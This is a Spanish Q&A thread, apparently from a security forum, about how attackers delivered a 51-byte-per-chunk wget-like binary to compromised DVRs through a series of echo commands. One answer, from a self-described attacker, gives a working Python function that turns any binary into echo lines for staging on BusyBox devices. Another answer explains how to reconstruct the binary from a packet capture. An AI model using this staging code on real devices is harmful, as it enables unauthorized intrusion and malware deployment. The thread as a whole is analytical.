¿Una versión pequeña de wget (51 bytes?)

28

En este artículo de ISC en DVR compromiso el autor habla sobre el compromiso de un sistema integrado. En particular, el atacante ejecuta una serie de comandos echo en el host remoto, y:

  

Este DVR no tiene la función "subir". No hay wget ni hay un cliente ftp o telnet.

     

...

     

El primer eco escribe 51 bytes en "/ var / run / rand0-btcminer-arm" y   el segundo eco devuelve "hecho", lo que indica que el sistema está listo   para el siguiente comando de eco.

     

A diferencia del nombre, "rand0-btcminer-arm" no es un minero de bitcoin.   En su lugar, simplemente parece ser una versión de "wget".

No entiendo cómo podrían encajar los fundamentos básicos de wget en 51 bytes. El artículo contiene un volcado de paquetes, así que supongo que podría escribirlo en un archivo e intentar aplicar ingeniería inversa al binario, pero sospecho que hay algo más aquí.

¿Podría alguien ayudarme a entender cómo está sucediendo esto? ¿El "binario" realiza una llamada de biblioteca a las funcionalidades de la red?

    
pregunta lorenzog 05.05.2014 - 16:20
fuente

4 respuestas

32

El autor había cometido el error de ser ambiguo y confundió un poco a los lectores. Debo admitir que, como usted, al principio estaba confundido, hasta que vi el volcado de PCAP.

En primer lugar, el cuadro no tiene wget

Elatacantenousóesaúnicadeclaracióndeeco,usóunaseriededeclaracionesdeeco.Contéalrededorde107declaracionesdeecoconstruyendoprogresivamenteelejecutablerand0-btcminer-arm.Conaproximadamente50bytescadauno,esoesaproximadamente5350bytes.MuchomásquesuficienteparalograrunasimpledescargaHTTP.

Aquíhayunfragmentodeellos(resaltadoenrojo):

    
respondido por el Adi 05.05.2014 - 19:27
fuente
18

Soy el tipo que escribió el código que compromete los dvrs, y como se dijo anteriormente, hay un script que simplemente conecta y hace "eco" del binario en un archivo, donde se puede ejecutar. Como solo hacemos eco de los bytes sin procesar en el archivo y también excluimos las nuevas líneas (-n), el resultado es un archivo idéntico. Puede generar un conjunto de líneas de eco utilizando la función que se usa en el script de ataque.

#get a list of echo commands we need to run
#by iterating through a file and converting sections of bytes (50 a time)
#into hex and then putting them into an echo -ne 'HEX' line
#additionally, we write \x64\x6f\x6e\x65 (ascii: done) which will allow us to verify that worked after
def getEchoList(localName, outputName, location):
    with open(localName, "rb") as f:
        converted = None
        result = []
        byte = f.read(1)
        i = 0
        current = ""

        while byte != "":
            if i == 51:
                i = 0
                result.append("echo -ne '%s' >> %s/%s && echo -e '\x64\x6f\x6e\x65'" % (current, location, outputName))
                current = ""
            current = current + "\x"+byte.encode("hex")
            byte = f.read(1)
            i = i + 1

        if len(current) > 0:
            i = 0
            result.append("echo -ne '%s' >> %s/%s && echo -e '\x64\x6f\x6e\x65'" % (current, location, outputName))
            current = ""
        return result

list = getEchoList("some-binary", "to-echo-to", "/var/run")
for line in list:
    print(line)

Obviamente, este código es horrible, pero es lo que estábamos usando. La razón por la que no podemos abrir ('/ dev / tcp / IP / port') es porque los dvrs no ejecutan bash, y creo que eso está integrado en bash. Los dvrs tienen un entorno mínimo de busybox, sin wget, ftpget, o cualquier otra forma real de obtener archivos allí, como indica la publicación. Código completo disponible en enlace

    
respondido por el Retsam Tob 06.05.2014 - 00:00
fuente
5

Soy el autor de la publicación y, de hecho, "1" es correcto. La forma más fácil de encontrar todos los paquetes que conforman la carga "wget" es mediante el filtro "tcp.stream eq 1" de wireshark (vea el enlace en el artículo original para el pcap).

El solo "sigue la secuencia TCP" y filtra la parte de 142.0.45.42 a 192.168.1.100.

"Guardar como" (en bruto) y obtuviste un archivo de texto con el contenido.

edite el archivo en su editor de texto favorito y elimine las líneas que conducen a la serie de "ecos", así como las líneas de unión al final que ejecutan los comandos.

reemplaza "/ var / run" con "/ tmp"

ejecute el script en un sistema de linux (desechable) ... voila termina con el binario

$ md5 rand0-btcminer-arm
MD5 (rand0-btcminer-arm) = d1232ef223445276fe5f0f854358f021
$ file rand0-btcminer-arm
rand0-btcminer-arm: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

La razón por la que lo llamo "wget" es que utiliza el agente de usuario de Wget:

$ strings rand0-btcminer-arm  |grep Wget
User-Agent: Wget
    
respondido por el dr. j. 05.05.2014 - 20:23
fuente
4

El ejemplo en el artículo es solo una de las muchas declaraciones de eco que se usan para construir progresivamente el archivo. Debido a que utiliza el operador de redirección >> , no obstruye el contenido existente del archivo, sino que lo agrega a él.

Cita del artículo:

  

Resulta que el atacante parece usar un script de envoltorio que usa una serie de comandos "echo" para cargar el binario inicial.

    
respondido por el bonsaiviking 05.05.2014 - 19:21
fuente

Lea otras preguntas en las etiquetas